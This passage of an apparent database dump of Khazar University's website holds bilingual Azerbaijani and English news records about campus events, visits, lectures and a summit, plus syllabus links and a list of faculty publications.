30-da Xəzər Universitetinin potensial tələbələr üzrə işçi qrupunun koordinatoru Fuat Rəsulov, İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli və İqtisadiyyat və menecment departamentinin koordinatoru Elvin Məmmədov Şirvan şəhərlərində səfərdə oldular. Səfər zamanı universitetin nümayəndələri Şirvan şəhərində yerləşən “Alfa” hazırlıq kurslarının rəhbərliyi və “İstək” liseyində məktəbin kollektivi ilə görüşdülər və onlara Xəzər Universiteti haqqında geniş məlumat verdilər.</p>'),(3462,2038,'az','Xəzər Universitetində Xalq artisti, professor, tarzən “Ramiz Quliyev ilə üz-üzə” adlı görüş-konsert keçiriləcək','2017-ci il aprelin 14-də saat 18:00-da Xəzər Universitetinin “Dünya” konsert salonunda...','<p>2017-ci\r\nil aprelin 14-də saat 18:00-da Xəzər Universitetinin “Dünya” konsert salonunda\r\n(Bəşir Səfəroğlu küçəsi, 122) Xalq artisti, professor, tarzən “Ramiz Quliyev ilə\r\nüz-üzə” adlı görüş-konsert keçiriləcək. Konsertdə Xalq artistini Xəzər\r\nUniversitetinin Kamera orkestri müşayiət edəcək. Maraqlananlar dəvət olunurlar.</p>'),(3463,2020,'en','AESOP Erasmus+ Project meeting held at Warsaw University','On April 4, 2017, a meeting of the “Advocacy Establishment for Students through Ombudsman Position” (AESOP) project partners was held at Warsaw University. The purpose of the...','<p>On April 4, 2017, a meeting of\r\nthe “Advocacy Establishment for Students through Ombudsman Position”\r\n(AESOP) project partners was held at Warsaw\r\nUniversity. The purpose of the meeting was to familiarize the participants with\r\nthe work of the&nbsp;office&nbsp;of&nbsp;the Ombudsman&nbsp;at the University&nbsp;of&nbsp;Warsaw.\r\n</p>\r\n<p>Khazar University staff members, Rima Mammadova and Lamiya\r\nNamazova represented Khazar University at the meeting. On April 4, Rima\r\nMammadova made a thorough presentation about Khazar University and answered\r\nquestions.</p>\r\n<p>The meeting will continue on April 5-6.&nbsp;</p>'),(3466,2041,'az','“Fireworks” Şirkəti Xəzər Universitində təlim keçirdi','2017-ci il aprelin 3-də Xəzər Universitində “Fireworks” İnsan Resursları Şirkəti tərəfindən Siyasi elm və beynəlxaq münasibətlər departamentinin tələbələri üçün peşəkar rezyume...','<p>2017-ci il aprelin 3-də Xəzər Universitində\r\n“Fireworks” İnsan Resursları Şirkəti tərəfindən Siyasi elm və beynəlxaq münasibətlər\r\ndepartamentinin tələbələri üçün peşəkar rezyume hazırlamağın və iş müsahibəsindən\r\nuğurla keçməyin yolları haqqında təlim keçirildi. Təlimdə tələbələrin CV-lərinə\r\nfərdi şəkildə rəy bildirən “Fireworks” əməkdaşları, həmçinin onlara iş müsahibəsi\r\nzamanı davranış qaydaları haqqında da məlumat verdilər.</p>\r\n<p>Qeyd edək ki, təlim 2017-ci il fevralın\r\n27-dən etibarən departament tərəfindən davam etdirilən İşgüzarlıq və Peşəkar\r\nBacarıqların inkişafı üçün Təlim Proqramının tərkib hissəsi olaraq baş\r\ntutmuşdur. Sözügedən təlim proqramının növbəti sessiyası ünsiyyət bacarıqları\r\nmövzusunda olacaq.&nbsp;</p>'),(4296,2536,'az','“Kainat” Təhsil Mərkəzi və onun keçmiş şagirdləri ilə görüş təşkil olundu','2017-ci il oktyabrın 17-də Xəzər Universitetinin “Neftçilər” kampusunda “Kainat” Təhsil Mərkəzinin təşkil etdiyi...','<p>2017-ci il oktyabrın 17-də Xəzər Universitetinin “Neftçilər” kampusunda “Kainat” Təhsil Mərkəzinin təşkil etdiyi hazırlıq kurslarında iştirak edən tələbələrlə görüş keçirildi.</p><p>Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova bütün iştirakçıları salamlayaraq, “Kainat” Təhsil Mərkəzinə tələbə qəbulu sahəsində əməkdaşlığa görə minnətdarlığını bildirdi. “Kainat” TM-in hazırlıq kurslarına davam etmiş 40 şagird 2017-2018-ci tədris ilində Xəzər Universitetində təhsil almağı seçmişdir. Qeyd edək ki, 40 tələbənin 25 nəfəri&nbsp;ali təhsilə və sosial inteqrasiyaya çıxış üçün Azərbaycan gənclərinin davamlı inkişafını təmin edən bir sıra yerli və beynəlxalq şirkətlərin korporativ sosial məsuliyyət siyasəti ilə həyata keçirilən “Gələcəyini Qur!” gəncliyə dəstək&nbsp;layihəsinin məzunudur. Xəzər Universiteti və “Kainat” Təhsil Mərkəzi “Gələcəyini Qur!” layihəsinin akademik tərəfdaşıdır.</p><p>İlk olaraq, Xəzər Universitetinin rektoru, Mühəndislik və tətbiqi elmlər fakültəsinin dekanı vəzifəsini yerinə yetirən Dr.Hassan Niknafs tələbələrə müraciət etdi. Dr. Niknafs tələbələri Xəzər Universitetinə qəbul olmaları münasibətilə təbrik etdi, onlara təhsildə uğurlar arzuladı. İqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov, Təhsil fakültəsinin dekan müavini Zərifə Əliyeva, Humanitar və sosial elmlər fakültəsinin dekanı dosent Cabir Xəlilov gəncləri Azərbaycanın aparıcı ali təhsil müəssisələrindən birinə qəbul olmaları münasibətilə təbrik etdilər, fakültələr və tələbələrin məşğul ola biləcəyi fəaliyyətlər haqda qısa məlumat verdilər. “Kainat” Təhsil Mərkəzinin təsisçisi və direktoru İlqar Ağakişiyev də tələbələrini təbrik etdi və Xəzər Universiteti ilə əməkdaşlıqdan məmnun olduğunu bildirdi.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı təhsilin vacibliyi barədə qısa bir çıxış etdi və öz tələbəlik həyatından qısa bir hekayəni paylaşdı.</p>'),(3474,2048,'az','Ərəblər Azərbaycana həm də Xəzər Universitetinin tələbəsi olmaq üçün gəlirlər','2017-ci il aprelin 9-da jurnalist Gülər Abbasovanın son illər ərəb ölkələrindən Azərbaycana müxtəlif məqsədlərlə gələnlərlə bağlı apardığı araşdırma müxtəlif media səhifələrində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 9-da jurnalist Gülər\r\nAbbasovanın son illər ərəb ölkələrindən Azərbaycana müxtəlif məqsədlərlə gələnlərlə bağlı apardığı\r\naraşdırma müxtəlif media səhifələrində yayınlanmışdır. Araşdırmada Azərbaycana\r\ngələn ərəblər arasında Xəzər Universitetini təhsil almaq üçün seçənlər də yer\r\nalırlar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Araşdırmanı\r\nbu linklər vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://xeber365.com/haber-r-b-olk-l-rind-n-az-rbaycana-g-l-nl-rin-hekay-tl-ri-5472.html\">http://xeber365.com/haber-r-b-olk-l-rind-n-az-rbaycana-g-l-nl-rin-hekay-tl-ri-5472.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://gundemxeber.az/olke/29451-ereb-olkelerinden-azerbaycana-niye-gelirler-arashdrma.html\">http://gundemxeber.az/olke/29451-ereb-olkelerinden-azerbaycana-niye-gelirler-arashdrma.html</a>. &nbsp;</p>'),(3467,2040,'en','“Training of Trainers” at Khazar University','Eurasia Hub has held a ‘Training of Trainers’ on 3-5 April, 2017 at Khazar University in Baku, Azerbaijan.  The training provided 15 participants from Azerbaijan, Kazakhstan...','<p>Eurasia Hub has held a ‘Training of Trainers’ on 3-5 April,\r\n2017 at Khazar University in Baku, Azerbaijan.&nbsp;&nbsp;The training provided 15 participants\r\nfrom Azerbaijan, Kazakhstan, Kyrgyzstan, Tajikistan and Ukraine with knowledge,\r\ntools and skills on training processes and methods.&nbsp; Thus, a selected team\r\nof successful Hub alumni from previous trainings had an opportunity to improve\r\nskills in delivering hands-on trainings on extractive industries. Several participants\r\nmentioned that they would have to conduct trainings on the related subjects in\r\nnear future and given that attending the training was highly useful. At the end\r\nof the training Simone Haeberli, Deputy Regional Director of Swiss Cooperation\r\nOffice in the South Caucasus and Ingilab Ahmadov, Director of Eurasia Hub\r\nawarded the participants with certificates.</p>'),(3468,2043,'az','“Xəzər”in məzunu uğurlu karyera qurmağın yollarından danışdı','2017-ci il aprelin 7-də Xəzər Universitetinin məzunu, biznes məsləhətçi, “Young Business Factory”, “Oley.az”, “Georgia Sweet House”, “Cool Business” şirkətlərinin yaradıcısı Rasim...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">2017-ci il aprelin 7-də Xəzər Universitetinin məzunu, biznes\r\nməsləhətçi, “Young Business Factory”, “Oley.az”, “Georgia Sweet House”, “Cool\r\nBusiness” şirkətlərinin yaradıcısı Rasim Adjalov <strong><em>qaynarinfo.az</em></strong> saytına\r\nmüsahibə vermişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Müsahibəni bu link vasitəsilə oxumaq olar:</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://az.qaynarinfo.az/news-24-yanda-4-irkt-yaradan-azrbaycanl-gnc-t110556.html.\">http://az.qaynarinfo.az/news-24-yanda-4-irkt-yaradan-azrbaycanl-gnc-t110556.html.</a></p>'),(4147,2417,'en','The new academic year began at Khazar University','A ceremony dedicated to the start of the new academic year was held at Khazar University on 15th September. The management and staff of the university, newly admitted students...','<p>A\r\nceremony dedicated to the start of the new academic year was held at Khazar\r\nUniversity on 15<sup>th</sup> September. The management and staff of the\r\nuniversity, newly admitted students and their parents attended the ceremony. </p>\r\n<p>The\r\nceremony began with the performance of the Azerbaijan State Anthem. Professor Hamlet Isakhanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees delivered a\r\nspeech and congratulated the first year students, spoke about a pure and\r\ntransparent environment created for the education and spiritual development of\r\nthe students at the university, informed about the success of the university, as\r\nwell as the international ratings of world universities. Dr.&nbsp; Hassan Niknafs, the rector of the university\r\ncongratulated the students and wished them success in their education. </p>\r\n<p>Dr.\r\nIsakhan Isakhanli, Dr. Hassan\r\nNiknafs, Dr. Jeyhun Mammadov, Dean of the School of Economics and Management,\r\nDr. Elza Semedli, Dean of the School of Education, and Jabir Khalilov, Dean of\r\nthe School of Humanities and Social Sciences presented student cards and gifts\r\nto the university students, and a memory photo was taken. </p>\r\n<p>Ali\r\nMaharramov (specialty of Finance), on behalf of newly-admitted students, said\r\nthat they would make serious efforts to develop as highly qualified specialists\r\nthanks to the favorable conditions created for the students at Khazar\r\nUniversity. </p>\r\n<p>The\r\ndance groups of the students performed at the concert prepared by the\r\nDepartment of Music and Art of the University, Mehseti Genjevi, the soloist of\r\nAzerbaijan State Academic Opera and Ballet Theater, the instructor of the\r\nuniversity performed songs. </p>\r\n<p>The\r\nceremony ended with the invitation of newly admitted students to the lecture\r\nhalls. They met with faculty deans, heads of departments and staff. They were\r\ngiven detailed information about their specialties and their questions were\r\nanswered.</p>'),(3469,2044,'en','Meeting with Silvia Zimmerman del Castillo','On April 6, 2017, a meeting with Silvia Zimmerman del Castillo, Argentine writer and permanent collaborator at La Nación, was held at the office of the Union of Azerbaijani Writers...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On April 6, 2017, a meeting with Silvia Zimmerman del\r\nCastillo, Argentine writer and permanent collaborator at&nbsp;<em>La Nación</em>,\r\nwas held at the office of the Union of Azerbaijani Writers. The meeting was\r\nattended by the ambassadors of Latin American countries to Azerbaijan,\r\nAzerbaijani writers and people of art. Professor Hamlet Isaxanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees, was\r\nalso present at the meeting.</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Silvia Zimmerman del Castillo gave a talk about\r\nArgentine author Jorge Luis Borges’s literary career. Prof. Isaxanli spoke\r\nabout some aspects of Borges’ oeuvres – Sufi themes in his writings, his short\r\nstory about Averroes (Ibn Rushd), and the psychological and philosophical\r\ndimensions of the story.</p>'),(3470,2045,'az','İslamabad Texnologiya Universitetinin professoru “Xəzər”in tələbələrinə mühazirə oxudu','2017-ci il aprelin 3-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşəbbüsü ilə İslamabad Texnologiya Universitetinin professoru Shanza Ejaz “Davamlı inkişafin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 3-də\r\nXəzər Universiteti Coğrafiya və ətraf mühit\r\ndepartamentinin təşəbbüsü ilə İslamabad Texnologiya Universitetinin professoru Shanza\r\nEjaz “Davamlı inkişafin məqsədləri və kompüter texnologiyaları” mövzusunda\r\nWEBNAR mühazirə oxudu. Mühazirədə Təhsil fakültəsi coğrafiya ixtisasının tələbələri\r\niştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonda Professor Ejaz tələbələrin\r\nsuallarını cavablandırdı.</p>'),(4505,2671,'az','“Caucasus International” jurnalının təqdimatı oldu','2017-ci il noyabrın 24-də Azərbaycan Respublikasının Prezidenti yanında Strateji Araşdırmalar Mərkəzi (SAM) tərəfindən Xəzər Universiteti...','<p>2017-ci il noyabrın 24-də Azərbaycan Respublikasının Prezidenti yanında Strateji Araşdırmalar Mərkəzi (SAM) tərəfindən Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin müəllim və tələbələri üçün “Caucasus İnternational” jurnalının təqdimatı keçirildi. Təqdimatı SAM-ın Xarici siyasət məsələlərinin təhlili şöbəsinin elmi işçisi və “Caucasus International” jurnalının redaktor müavini İlqar Qurbanov və SAM-ın Media üzrə mütəxəssisi Şəbnəm Məhərrəmova keçirdilər.</p>'),(3472,2047,'az','Sillabuslar','Sillabuslar','<p><a href=\"http://www.khazar.org/files/radio_depart/Microposessors%20Syllabus-2017fall.doc\">Medical Electronics &amp; Microprocessor Technology</a></p><p><a href=\"http://www.khazar.org/files/radio_depart/Microposessors%20Syllabus-2017fall.doc\"></a><a href=\"http://www.khazar.org/files/radio_depart/Metrologiya-2017%20fall.docx\">Fundamentals of Metrology</a></p>'),(3473,2047,'en','Syllabus','Syllabus','<p><a href=\"http://www.khazar.org/files/radio_depart/Microposessors%20Syllabus-2017fall.doc\">Medical Electronics &amp; Microprocessor Technology</a></p><p><a href=\"http://www.khazar.org/files/radio_depart/Microposessors%20Syllabus-2017fall.doc\"></a><a href=\"http://www.khazar.org/files/radio_depart/Metrologiya-2017%20fall.docx\">Fundamentals of Metrology</a></p>'),(3475,2049,'az','Naxçıvan Universitetinin bir qrup əməkdaşı “Xəzər”də oldular','2017-ci il aprelin 8-də Azərbaycan Respublikası Təhsil Nazirliyinin orqanı olan “Azərbaycan müəllimi” qəzetinin rəsmi internet səhifəsində Naxçıvan Universitetinin bir qrup...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 8-də Azərbaycan\r\nRespublikası Təhsil Nazirliyinin orqanı olan “Azərbaycan müəllimi” qəzetinin rəsmi\r\ninternet səhifəsində Naxçıvan Universitetinin bir qrup əməkdaşının AESOP layihəsi\r\nçərçivəsində Xəzər Universitetində olduğu haqda xəbər yayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd edək ki, layihənin koordinatoru Xəzər\r\nUniversiteti, partnyorlarından biri isə Naxçıvan Universitetidir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbəri\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=12-2017&amp;content_id=38#Kalibri\">http://muallim.edu.az/content/?category=arxiv&amp;issue=12-2017&amp;content_id=38#Kalibri</a></p>'),(3476,2050,'az','Xəzər Universitetinin nümayəndəsi 20-ci Avrasiya Sammitində','2017-ci il aprelin 4-dən 6-dək İstanbulda 20-ci Avrasiya İqtisadi Zirvəsi keçirildi. Zirvə toplantısında dünyanın 44 ölkəsindən altı yüz nəfərə yaxın nümayəndə iştirak edirdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il aprelin 4-dən 6-dək İstanbulda 20-ci Avrasiya İqtisadi Zirvəsi\r\nkeçirildi. Zirvə toplantısında dünyanın 44 ölkəsindən altı yüz nəfərə yaxın\r\nnümayəndə iştirak edirdi. Zirvə toplantısının rəsmi açılışını Mərmərə Qrupu Strateji\r\nvə Sosial Araşdırmalar Mərkəzinin prezidenti Dr. Akkan Suver açdı. Qara dəniz\r\nİqtisadi əlaqələr Parlamentlərarası Assambleyanın (KEİPA) Baş katibi Asəf\r\nHacıyev, İstanbul Ticarət Odası başqanı İbrahim Çağlar, İzmir Ticarət Odası başqanı\r\nEkrem Demirtaş, İstanbul valisi Vasip Şahin açılış nitqləri ilə çıxış etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Zirvə toplantısının fəxri qonaqları – BMT-nin nümayəndəsi Nasir\r\nAbdulaziz Al-Nasser, Albaniya Prezidenti Bujar Nishani, Bosniya və Herseqovina Prezidenti\r\nMladen İvaniç, ŞKTC-nin Prezidenti Mustafa Akıncı, Makedoniya Prezidenti Gjorge\r\nİvanov, Türkiyə Respublikası Baş nazirinin müavini Mehmet Şimşek toplantı\r\niştirakçılarını salamladılar və 20-ci Avrasiya İqtisadi Zirvəsinin işinə\r\nuğurlar arzuladılar. Azərbaycan Prezidentinin təbrik məktubunu Diasporla İş üzrə\r\nKomitənin sədri Nazim İbrahimov oxudu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Zirvə toplantısının rəsmi açılışından sonra dinləmələrə başlanıldı. Xəzər\r\nUniversitetinin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli rəsmi\r\nkatibliyə seçildi. Dinləmələrdə Azərbaycan Respublikası Energetika naziri Natiq\r\nƏliyev, Makedoniyanın Maliyyə naziri Kiril Minoski, Bangladeş Xarici İşlər\r\nNazirliyinin Xarici əlaqələr idarəsinin rəisi Nahidə Sobhan, Makedoniya Ticarət\r\nOdası başqanı Danela Arsovskaya, Ruminiyanın sabiq Baş naziri Viktor Ponta (2012-2015),\r\nİsrail Kinesetinin keçmiş başqanı Dalia İtzik(2006-2009), Azərbaycan Respublikası\r\nMilli Məclisinin sədr müavini Valeh Ələsgərov, Mərakeş Krallığından nazir\r\nYousuf Amrani, Monteneqro Respublikasının Səhiyyə naziri Kenan Hrapoviç,\r\nRumuniya Mədəniyyət naziri İonut Vulpeska, Kosova Respublikasının Dialoq naziri\r\nEdita Tahiri, Kosova Respublikasının Ekologiya naziri Mahir Yağcılar,\r\nSlovenyanın Baş naziri Alenka Bratusek (2013-2014), Vyana İqtisadi Forumunun\r\nprezidenti Erhard Busek, Polşa Baş nazirinin müavini Grzegorez Kolodko,\r\nBolqarıstan Slavyan Cəmiyyətinin sədri Zahari Zahariyev, Vyana İqtisad Formunun\r\nbaşqanı Yelena Krotçeva, Rumuniya Xarici İşlər nazirinin müavini George Ciambo\r\nvə digərləri çıxış etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Zirzə toplantısının 2-ci günü dini liderlər və siyasət adamlar – Türkiyənin\r\nsabiq Diyanət İşləri başqanı Ali Bardakoğlu (2003-2010), Türkiyə Xristianları Ekümenik\r\nPatriki Patrik Bartholemeos, İordaniyanın keçmiş Baş naziri Taher-Al-Masrel (1991-1991),\r\nTürkiyə Süryanilər Katolik Patriki Yusuf Sag, Azərbaycan Respublikası Dini\r\nQurumlarla iş üzrə Dövlət Komitəsinin sədri Mübariz Qurbanlı, Türkiyə Süryani Qədim\r\nCəmiyyəti Ruhani İdarəsinin rəisi Yusif Çetin, Rusiya Federasiyası Baş nazirinin\r\nsabiq müavini Gennadi Burbulis, Türkiyə Hahambaşısı İsak Haleva, Beynəlxalq\r\nQara dəniz Araşdırmaları Mərkəzinin başqanı İrina Vereshchcuk, Qafqaz Ruhani\r\nİdarəsinin rəis müavini Salman Nuriyev və digərləri çıxış etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Zirvə toplantısının əsas hissəsi orada qonaq kimi iştirak edən müxtəlif\r\nölkələrin prezidentlərinin &nbsp;çıxışları\r\noldu. “Bir yol ayrımında olan insanlıq” devizi ilə keçirilən toplantıda Albaniya\r\nPrezidenti Bujar Nishani, Bosniya və Herseqovina Prezidenti Mladen İvanik, ŞKTC-nin\r\nPrezidenti Mustafa Akıncı, Makedoniya Prezidenti Gjorge İvanov, Albaniyanın\r\nsabiq Prezidenti Bamir Topi (2007-2012), Avstriyanın sabiq Prezidenti Hein\r\nFischer (2004-2016), Xorvatiyanın sabiq Prezidenti İvo Josipoviç (2010-2015), Xorvatiyanın\r\nsabiq Prezidenti Stjepan Mesic (2001-2010), Litvanın sabiq Prezidenti Valdes\r\nZaltres (2007-2011), Moldovanın sabiq Prezidenti Petru Luçinski (1997-2001), Qagauz\r\nAvtonom Respublikasının (Moldova) başqanı İrina Vlan, Rumuniyanın sabiq\r\nPrezidenti Emil Konstantineski (1996-2000), Serbiyanın sabiq Prezidenti Boris\r\nTadıç (2004-2014), Türkiyənin sabiq Prezidenti Abdullah Gül (2007-2014) çıxış\r\netdilər. Prezidentlər dünyada yaranmış iqtisadi problemlər, müharibələr və\r\nqaçqınlarla bağlı dərin narahatlıqlarını bildirdilər. Sonda Birləşmiş Millətlər\r\nTəşkilatına və beynəlxalq qurumlara&nbsp; müraciətlər\r\nqəbul edildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Zirvə toplantısının Qala yeməyində Azərbaycan Respublikasının xalq artisti\r\nSamir Cəfərov çıxış etdi.</p>'),(3477,2051,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.</p>'),(3478,2051,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</p>'),(3479,2052,'en','Triangle of Science Show on Public TV','On April 9, 2017, the “Elm üçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors...','<p>On April 9, 2017, the “Elm üçbucağı”\r\n(Triangle of Science) program by Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees, was broadcast\r\non Public TV. The theme of the lecture during the broadcast was \'European\r\nAcademies\'.&nbsp;Khazar University faculty and staff members also participated\r\nas audience members during the show.&nbsp;</p>'),(356,221,'en','Publications','Publications','<div style=\"text-align:justify\"><p><strong>Jeyhun Mammadov</strong></p><p style=\"text-align:justify\">“Oil Price Shocks and Monetary Policy in Azerbaijan: Challenges and Opportunities”, Mammadov, J., Caucasus Analytical Digest No. 83, ETH Zurich and the University of Bremen, 2016.</p><p>“Country Report: Migration Policy in Azerbaijan” Mammadov, J., Bayramov, K., and Isgandarov, A., Caucasus Journal on Migration, Tbilisi State University 2015.</p><p>&nbsp;“Assessment of Institutional Quality in Resource-Rich Caspian Basin Countries”,&nbsp;Ahmadov, I.,&nbsp;Mammadov, J., and&nbsp;Aslanli, K.,&nbsp;Kurswechsel (Zeitschrift für gesellschafts-, wirtschafts- und umweltpolitische Alternativen Sonderzahl Verlag), Heft 3/2013: p 18-41.</p><p>&nbsp;“Foreign direct investment, human capital accumulation and economic growth: the case of transition countries”. Mammadov J. Bielefeld: Bielefeld University; 2012.</p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>Ingilab Ahmadov</strong></p><p style=\"text-align:justify\">“Azerbaijan’s New Macroeconomic Reality: How to Adapt to Low Oil Prices”, Ahmadov, I., Caucasus Analytical Digest No. 83, ETH Zurich and the University of Bremen, 2016.</p><p style=\"text-align:justify\">“Assessment of Institutional Quality in Resource-Rich Caspian Basin Countries”,&nbsp;Ahmadov, I.,&nbsp;Mammadov, J., and&nbsp;Aslanli, K.,&nbsp;Kurswechsel (Zeitschrift für gesellschafts-, wirtschafts- und umweltpolitische Alternativen Sonderzahl Verlag), Heft 3/2013: p 18-41.</p><p style=\"text-align:justify\"><br>“Dispute or dialogue? Community perspectives on company-led grievance mechanisms. Chapter 3: BP and the Azerbaijan pipelines complaints management procedure./&nbsp;&nbsp;Emma Wilson, Christoph Schwarte, Ingilab Ahmadov. IIED. London-2013.</p><p style=\"text-align:justify\">“EITI and sustainable development: Lessons and new challenges for the Caspian region. /&nbsp;Saule Ospanova, Ingilab Ahmadov, Emma Wilson. IIED. London- 2013. Policy Paper.</p><p style=\"text-align:justify\">“How to scrutinise a Production Sharing Agreement: A guide for the oil and gas sector based on experience from the Caspian region./&nbsp;Ahmadov, I., Artemyev, A., Aslanly, K., Rzaev, I., Shaban, I. IIED. London-2012</p><p><br><strong>Mahammad Nuriyev</strong></p><p style=\"text-align:justify\">Modern challenges of oil producing countries and the ways for establishing a non-oil dependent economy in Azerbaijan (Comparative approach) /Mahammad Nuriyev, Eldar Shahgeldiyev, Zaka Salmanli / –Muellim nəshşriyyati, 2014, 96 p.- ISBN 978-9952-435-55-9&nbsp; &nbsp; &nbsp;</p><p style=\"text-align:justify\">English-Azerbaijani&nbsp; Azerbaijani-English Concise Dictionary of Project Management Terms. – Khazar University Press, 2012. –152 p. – ISBN 978-9952-20-070-6</p><p style=\"text-align:justify\">Azərbaycanın rayonları üçün bölgə kolleci kompleksinin/klasterinin&nbsp; yaradılması/Əhməd Vəliyev, Hamlet İsaxanlı, Məhəmməd Nuriyev, Mirdaməd Sadıxov, Ruslan Sədirxanov// Ali təhsil və cəmiyyət, elmi-metodiki jurnal. – 2012. – № 2</p><p style=\"text-align:justify\">Ali məktəbdə formativ qiymətləndirmənin tətbiqetmə imkanları // Ali təhsil və cəmiyyət, elmi-metodiki jurnal. – 2013. – № 1</p><p>&nbsp;</p><p><strong>Fuat Rasulov</strong></p><p>“İxracatçılar Üçün Təlimat”, Fuat Rəsulov, İlkin Qarayev, Elxan Mikayılov, Gerry Morrissey, Bakı 2013</p><p><br><strong>Shaig Ganbarli</strong></p><p>“Individual and Household Characteristics in Tbilisi, Guria and Achara” Measurement of Poverty and Inequality.&nbsp; Shaig Ganbarli, Tbilisi State University, Georgia, 2013</p><p><br><strong>Tarana Azimli</strong></p><p>“Validity of International Fisher Effect for Turkish and BRIC economies Cointegration analysis” Tarana Azimli, Istanbul University, working paper 2012</p><p style=\"text-align:justify\">&nbsp;“Determination of Leading Indicators with Canonical Correlation Analysis, as predictors of recessions in Turkish economy”. Tarana Azimli, Istanbul University, working paper 2013&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;</p><p><strong>Kamil Heydarov</strong></p><p>“The impact of bank capital on profitability and risk: evidence from Azerbaijan”, Kamil Heydarov, Central Bank and Economics, (2013), 2, pp. 130-143&nbsp;&nbsp;</p><p><br><strong>Matlab Valiyev</strong></p><p>“Paying Taxes in Azerbaijan”, Matlab Valiyev, Doing Business 2010 and 2011– World Bank</p><p><br><strong>Fuad Aliyev</strong></p><p>“The Politics of Islamic Finance in Central Asia and South Caucasus”, Voices from Central Asia, No. 2, July 2012, Central Asia Program, George Washington University, USA</p><p><br><strong>Fikrat Pashayev</strong></p><p>“Investment policies and competitiveness of Azerbaijani economy”,&nbsp;Khazar journal of Humanities and Social Sciences, Baku, May, 2013, pp. 22-31</p><p><br></p><p>&nbsp;<strong>Shahriyar Mukhtarov</strong></p><p>“Müstəqillik İllərində Azərbaycanın Makroiqtisadi Göstəricilərinin Təhlili”&nbsp;,&nbsp;Journal of Baku Engineering University, - Accepted,\r\n2017  <br></p><p>“Şəhər Əhalisinin Sayının Enerji İstehlakına Təsirlərinin Qiymətləndirilməsi:Azərbaycan\r\nNümunəsi” Journal of Baku Engineering University, - Accepted,\r\n2017&nbsp;</p><p>“Azerbaycan’da Faiz Oranı Kanalının İşleyişi: Ampirik Bir Analiz” Yönetim ve Ekonomi: Celal Bayar Üniversitesi İktisadi\r\nve İdari Bilimler Fakültesi Dergisi 24 (2)&nbsp;</p> <p>\"Does Urbanization Boost Pollution From\r\nTransport?\"Acta Universitatis Agriculturae et Silviculturae\r\nMendelianae Brunensis. 2017   </p><p>“<span style=\"font-size:12.0pt;font-family:\'Times New Roman\',serif\">The Relationship\r\nbetween Energy Consumption and Economic Growth: Evidence from Azerbaijan<span style=\"color:#252525;background:#fffffff\">”. </span>International Journal of\r\nEnergy 